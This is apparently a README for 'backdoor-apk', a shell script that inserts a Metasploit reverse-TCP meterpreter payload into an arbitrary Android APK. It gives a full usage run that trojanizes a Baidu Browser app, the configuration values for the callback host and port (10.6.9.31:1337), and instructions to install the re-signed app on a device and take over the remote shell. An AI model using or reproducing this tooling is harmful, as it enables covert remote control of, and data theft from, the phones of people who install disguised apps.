backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Usage
root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk
[*] Generating reverse tcp meterpreter payload...done.
[+] Handle the meterpreter connection at: 10.6.9.31:1337
[*] Decompiling original APK file...done.
[*] Decompiling RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Merging permissions of original and payload projects...done.
[*] Recompiling original project with backdoor...done.
[*] Signing recompiled APK...done.
root@kali:~/Android/evol-lab/BaiduBrowserRat#
The recompiled APK will be found in the ‘original/dist’ directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection at the specified IP and port.
Backdoor Android APK Requirements:
In addition to the obvious tools/utilities in use the following packages were also required on Kali Linux
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
Example
./backdoor-apk.sh original.apk
Config
modify the following values as necessary
MSFVENOM=msfvenom LHOST="10.6.9.31" LPORT="1337" APKTOOL=apktool2 MY_PATH=`pwd` ORIG_APK_FILE=$1 RAT_APK_FILE=Rat.apk LOG_FILE=run.log
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